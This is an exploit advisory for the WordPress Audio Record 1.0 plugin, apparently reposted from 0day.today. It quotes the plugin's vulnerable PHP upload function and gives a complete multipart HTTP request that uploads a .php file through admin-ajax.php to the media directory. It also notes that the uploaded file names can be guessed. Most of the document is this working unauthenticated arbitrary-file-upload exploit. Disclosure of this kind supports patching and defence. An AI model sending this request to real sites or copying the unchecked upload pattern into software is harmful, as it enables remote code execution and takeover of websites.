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WordPress Audio Record 1.0 Plugin - Arbitrary File Upload Vulnerability
# Exploit Title: WordPress Plugin Audio Record 1.0 - Arbitrary File Upload # Software Link: https://wordpress.org/plugins/audio-record/ # Exploit Author: Kaimi # Website: https://kaimi.io # Version: 1.0 # Category: webapps # Unrestricted file upload in record upload process allowing arbitrary extension. # File: recorder.php # Vulnerable code: function save_record_callback() { foreach(array('audio') as $type) { if (isset($_FILES["${type}-blob"])) { $fileName = uniqid() . '_' .$_POST["${type}-filename"] ; $path_array = wp_upload_dir(); $path = str_replace('\\', '/', $path_array['path']); $uploadDirectory = $path . "/$fileName"; if (!move_uploaded_file($_FILES["${type}-blob"]["tmp_name"], $uploadDirectory)) { echo 000; wp_die("problem moving uploaded file"); } # Exploitation example: POST /wp-admin/admin-ajax.php HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851 ... -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="audio-filename" file.php -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="audio-blob"; filename="blob" Content-Type: audio/wav <?php phpinfo(); -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="action" save_record -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="course_id" undefined -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="unit_id" undefined -----------------------------18311719029180117571501079851-- # Uploaded file will be located at standard WordPress media upload directory (for ex: /wp-content/uploads/year/month/). # If directory listing is disabled - file name can be guessed due to cryptographically insecure nature of uniqid() call. # 0day.today [2024-07-07] #